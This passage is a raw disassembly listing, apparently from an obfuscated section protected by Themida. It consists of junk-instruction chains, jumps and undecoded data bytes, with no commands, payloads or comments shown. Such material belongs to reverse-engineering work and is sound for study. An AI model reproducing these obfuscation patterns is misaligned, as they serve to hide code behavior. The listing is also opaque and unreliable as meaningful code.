		dd 83242C89h, 57E904ECh, 81000075h, 263E5AC3h, 0CFEB8129h
		dd 29585A4Eh, 0CFC381FBh, 52585A4Eh, 3B230FBAh,	0AAF28155h
		dd 4A3EF156h, 0D2F7D2F7h, 3939E9h, 24042100h, 0F697E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552EE2:				; CODE XREF: Themida_:0055C12Aj
		pop	edi
		push	edx
		mov	edx, 15C121F6h
		not	edx
		add	edx, 4E5B4F35h
		not	edx
		jmp	loc_5584D4
; ---------------------------------------------------------------------------

loc_552EF8:				; CODE XREF: Themida_:00559615j
		and	edi, 475A6C88h
		push	eax
		mov	eax, 2B326864h
		sub	edi, 4F0A0B8Bh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 619A6469h
		jmp	loc_565468
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 96h
		dd 0F7000104h, 43F781DFh, 0E933D940h, 0DA1Fh, 0CF124CBEh
		dd 0BB41E933h, 3C890000h, 13F6BF24h, 0FE293ACDh, 0FCE9595Fh
		dd 89000081h, 7DBB241Ch, 0E900B80Eh, 0F7D6h, 0E9D92C5Bh
		dd 0CAD0h, 8324248Bh, 2C8904ECh, 815D5424h, 4C5h, 4C58100h
		dd 87000000h, 248B242Ch, 381C6824h, 45E90000h, 810000FEh
		dd 821D21F3h, 2EC38156h, 2907B765h, 241C8BDAh, 0D4A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_552F9D:				; CODE XREF: Themida_:00553FE3j
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5539BF
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF5C5h, 16CACE81h, 0C68146C4h, 8021A909h, 10E9F301h
		dd 330000B8h, 248B2414h, 14896624h, 9C506624h, 0FFF5A0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552FD9:				; CODE XREF: Themida_:005566B0j
		add	esi, ebp
		sub	esi, 377A498Dh
		sub	esi, 5F7F1778h
		mov	ebp, [esp]
		jmp	loc_565899
; ---------------------------------------------------------------------------

loc_552FEF:				; CODE XREF: Themida_:0055BDCAj
		pop	esp
		sub	esp, 4
		jmp	loc_55AB02
; ---------------------------------------------------------------------------
		dd 4246C01h, 0B762E95Dh, 0C4810000h, 4,	1127E9h, 92D02900h
		dd 0DFB85058h, 351CBD0Eh, 14F3308Ah, 0FF23E9h, 64E18100h
		dd 813FFB38h, 766021E9h, 0BFC1811Eh, 511C7B57h,	6E243481h
		dd 583E2703h, 27036E35h, 31E9593Eh, 0B90000DBh,	4E1F2893h
		dd 425DE9h
		db 0
; ---------------------------------------------------------------------------

loc_553051:				; CODE XREF: Themida_:00563743j
		push	ebp
		mov	ebp, 4D2B2462h
		sub	ebp, 69F90EC2h
		xor	ebp, 0E33215A4h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		xor	esi, 6158A774h
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55DC4F
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0D892h
; ---------------------------------------------------------------------------

loc_553088:				; CODE XREF: Themida_:0055E1D3j
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		push	ebp
		mov	ebp, 6576508Ah
		jmp	loc_56287C
; ---------------------------------------------------------------------------

loc_553099:				; CODE XREF: Themida_:0055A5EEj
		push	edx
		mov	edx, 6ABF3825h
		shl	edx, 5
		add	edx, 0B12F25ABh
		or	ebp, edx
		pop	edx
		xor	ebp, 1D366B9Fh
		push	ebp
		pop	edx
		jmp	loc_564E33
; ---------------------------------------------------------------------------

loc_5530B8:				; CODE XREF: Themida_:005531CBj
		pop	esi
		push	ebx
		push	55C32ACDh
		pop	ebx
		jmp	loc_5550CB
; ---------------------------------------------------------------------------
		db 4, 13h, 0
		dd 66132CC8h, 51240C8Bh, 0BB53E189h, 4FBE3880h,	9215E9h
		dd 3BF48000h, 58E0E9h, 81EE0100h, 8E6739C6h, 0F98AE929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5530F2:				; CODE XREF: Themida_:0055FD1Aj
		add	esp, 4
		jmp	loc_558427
; ---------------------------------------------------------------------------

loc_5530FD:				; CODE XREF: Themida_:0056103Dj
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_565462
; ---------------------------------------------------------------------------

loc_553112:				; CODE XREF: Themida_:005575DAj
		shr	eax, 4
		add	eax, 8A527305h
		sub	edi, eax
		pop	eax
		mov	esi, edi
		pop	edi
		add	edx, 30B73B17h
		add	edx, esi
		sub	edx, 30B73B17h
		jmp	loc_55DDE8
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 2C8B0000h, 4C48124h,	0E9000000h, 13FAFh
; ---------------------------------------------------------------------------

loc_553148:				; CODE XREF: Themida_:0055A2DDj
		pop	ecx
		sub	esi, ebx
		jmp	loc_559DAB
; ---------------------------------------------------------------------------

loc_553150:				; CODE XREF: Themida_:0055814Bj
		mov	ecx, ebp
		pop	ebp
		push	31A9h
		jmp	loc_565A9C
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 0E9h
		dd 11609h, 4C481h, 48F0000h, 2C815C24h,	0F03E3224h, 58BE5637h
		dd 294E0B76h, 0E9042474h, 13999h, 22E5BFh, 0CF814726h
		dd 775C187Bh, 1410CE9h,	44E95B00h, 53000118h, 0A503E3BBh
		dd 0BA3B856h, 2AE9712Bh, 0FF00012Bh, 0E95B2434h, 4B25h
		dd 6824248Bh, 3EEh, 68241C89h, 2990h, 1214BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5531C9:				; CODE XREF: Themida_:0055B9E7j
		xor	ecx, esi
		jmp	loc_5530B8
; ---------------------------------------------------------------------------

loc_5531D0:				; CODE XREF: Themida_:00564CB3j
		mov	eax, 0B893DE3h
		jmp	loc_56624D
; ---------------------------------------------------------------------------
		dw 4805h
		dd 114373Fh, 3F482DE8h,	2C8B1437h, 4C48124h, 83000000h
		dd 42E902C0h, 89000085h, 243C8BF9h, 115E0E9h, 0E3895300h
		dd 4C381h, 0B2E90000h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55320F:				; CODE XREF: Themida_:00552699j
		inc	ebp
		add	ebp, 0E0EBB587h
		mov	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_553FE2
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 5759CD01h, 0CA3F08BFh, 0F73AE970h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553232:				; CODE XREF: Themida_:00555A2Ej
		add	ebp, 2646E2Fh
		jmp	loc_55D230
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 11h
		dd 513FC752h, 0C39B2B9h, 22F18164h, 41459425h, 0AFF0E981h
		dd 0CB01B19Eh, 119EE9h,	59CE0100h, 3E50EE81h, 4BE91859h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55326B:				; CODE XREF: Themida_:005595F6j
		sub	[esp+8], esi
		add	dword ptr [esp+8], 0D3D4B27h
		jmp	loc_559AF8
; ---------------------------------------------------------------------------

loc_55327C:				; CODE XREF: Themida_:0055E3CDj
		inc	ecx
		inc	ecx
		jmp	loc_5564A1
; ---------------------------------------------------------------------------

loc_553283:				; CODE XREF: Themida_:0055717Bj
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_55A793
; ---------------------------------------------------------------------------
		db 5Bh,	29h, 0DDh
		dd 56241C8Bh, 0C681E689h, 4, 0E948E9h, 54C7BF00h, 0E7817928h
		dd 446610A1h, 0CF81474Fh, 4C4E32B5h, 32B1EF81h,	38E94C6Eh
		dd 0BAFFFFFFh, 5B533B0Ah, 9A6E9h, 5FE95900h, 0FF00008Fh
		dd 59042474h, 0E924048Fh, 0BC54h
; ---------------------------------------------------------------------------

loc_5532DC:				; CODE XREF: Themida_:0055F5E8j
		sub	edx, 7527628Eh
		inc	edx
		xor	edx, 340DD38Fh
		xor	ebx, edx
		pop	edx
		inc	ebx
		push	ecx
		mov	ecx, 5D8831C5h
		shr	ecx, 7
		push	esi
		mov	esi, 64A80490h
		add	ecx, esi
		pop	esi
		inc	ecx
		jmp	loc_555A79
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 0F077h
; ---------------------------------------------------------------------------

loc_553310:				; CODE XREF: Themida_:0055829Cj
		mov	ebp, 73CC0C20h
		xor	ebp, 375359A2h
		jmp	loc_558A21
; ---------------------------------------------------------------------------
		dd 4EC815Ch, 89000000h,	70E9242Ch, 89FFFFF6h, 0B9512424h
		dd 4, 4244C01h,	53515E59h, 6A71B850h, 0E9400E21h, 0E345h
		dd 0DDF7E5D1h, 0E16FF581h, 0EE89A3D4h, 5625E9h
		db 0
; ---------------------------------------------------------------------------

loc_55335D:				; CODE XREF: Themida_:00565148j
		neg	edx
		jmp	loc_561FC1
; ---------------------------------------------------------------------------
		dd 4C481h, 815B0000h, 0A778C5C2h, 4EC817Dh, 89000000h
		dd 0BA522434h, 736E03D6h, 0BF57DAF7h, 75F322ACh, 22ADF781h
		dd 0FDE975F3h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_553393:				; CODE XREF: Themida_:0055A2E8j
		add	[esp+4], ebp
		jmp	loc_560679
; ---------------------------------------------------------------------------
		dd 66B0BA52h, 0D709044Eh, 1235E9h, 4C58100h, 87000000h
		dd 335C242Ch, 4312404h,	9463E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5533BE:				; CODE XREF: Themida_:00567B60j
		add	ecx, 0B2589C2Bh
		mov	esi, ecx
		pop	ecx
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		shl	esi, 3
		xor	esi, 0B2DFB040h
		jmp	loc_5656A1
; ---------------------------------------------------------------------------

loc_5533DB:				; CODE XREF: Themida_:00554777j
		mov	esi, 3CA13307h
		push	edi
		mov	edi, 2E2A07ACh
		jmp	loc_56422B
; ---------------------------------------------------------------------------
		db 56h
		dd 96E9E689h, 5C00001Fh, 89242C89h, 4EC81E5h, 0E9000000h
		dd 0BDDDh
; ---------------------------------------------------------------------------

loc_553404:				; CODE XREF: Themida_:005604DEj
		add	esp, 4
		xor	ebx, 0BA20593h
		pop	edx
		push	3A1Fh
		jmp	loc_55C771
; ---------------------------------------------------------------------------
		dd 0E03EF81h, 0EFD17247h, 6DC0C781h, 0F90188C0h, 4C1815Fh
		dd 87000000h, 815C240Ch, 4C4h, 4F3AE900h, 0C7810000h, 4
		dd 4D368h, 24348900h, 64E86850h, 0E9580488h, 135FBh, 3F7368h
		dd 24148900h, 5D01B951h, 0CA895D38h, 9BAE959h, 0F660000h
		dd 9C2404ABh, 0FFF100E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553479:				; CODE XREF: Themida_:0055AC73j
		add	edi, 4
		jmp	loc_560D52
; ---------------------------------------------------------------------------
		dd 1591E95Fh, 0C2810000h, 9F6A0FF2h, 1E3FC581h,	0D52921F9h
		dd 1E3FED81h, 148B21F9h, 4EC8324h, 89242C89h, 4C581E5h
		dd 0E9000000h, 1414Eh, 8E95150h, 81000021h, 4C4h, 2C68100h
		dd 81000000h, 4ECh, 24348900h, 42474FFh, 22FE95Eh, 0EE010000h
		dd 0E12E95Dh, 0CE210000h, 83240C8Bh, 0C68104C4h, 3D5D39D1h
		dd 0B951D6F7h, 4A121A0Ch, 8141D9F7h, 3F780FE9h,	7E1C15Ch
		dd 371E9h, 1CE95200h, 3100003Ch, 0B60F66C3h, 0B750E900h
		dd 0E9500000h, 0E38Ch, 815BD901h, 0E57727C6h, 2EEE8157h
		dd 0E906EE33h, 715Ch, 34240481h, 682A2368h, 5698h, 68240C89h
		dd 5C80539Fh, 87BF5759h, 0E9072431h, 102B3h
; ---------------------------------------------------------------------------

loc_553554:				; CODE XREF: Themida_:00564AC4j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0F42h
		mov	[esp], edi
		push	ebx
		push	3BD665F9h
		pop	ebx
		neg	ebx
		jmp	loc_552E49
; ---------------------------------------------------------------------------
		dw 0DBB7h
		dd 809AC780h, 0FC00F0ECh, 5BF0C480h, 48BE588h, 4C48324h
		dd 0C085E580h, 0F58005EDh, 0E9102C9Dh, 1051Bh
; ---------------------------------------------------------------------------

loc_5535A4:				; CODE XREF: Themida_:005678E2j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, edi
		mov	[ecx], edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56073B
; ---------------------------------------------------------------------------
aWsa		db 'WéaÝ',0
		align 10h
		dd 4EC81h, 34890000h, 4EC8324h,	13AEFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5535E1:				; CODE XREF: Themida_:00565B3Aj
		shl	ebp, 1
		shr	ebp, 5
		add	ebp, 607EFEE9h
		sub	eax, ebp
		jmp	loc_559797
; ---------------------------------------------------------------------------
		db 8Bh
		dd 21662424h, 0E99C2404h, 0DD2Ch, 8324148Bh, 0EC8304C4h
		dd 240C8904h, 492E15B9h, 3803E935h, 0E9570001h,	0FFFFFE98h
		dd 81243C8Bh, 4C4h, 39C78100h, 5150F275h, 290F55B9h, 5CEAE976h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553636:				; CODE XREF: Themida_:00562E3Ej
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C46F
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E848E9h
		db 0
; ---------------------------------------------------------------------------

loc_553651:				; CODE XREF: Themida_:0055E5DFj
		add	bl, dl
		sub	bl, 42h
		pop	edx
		movzx	eax, al
		mov	dx, [esp]
		push	ebp
		jmp	loc_55D5DB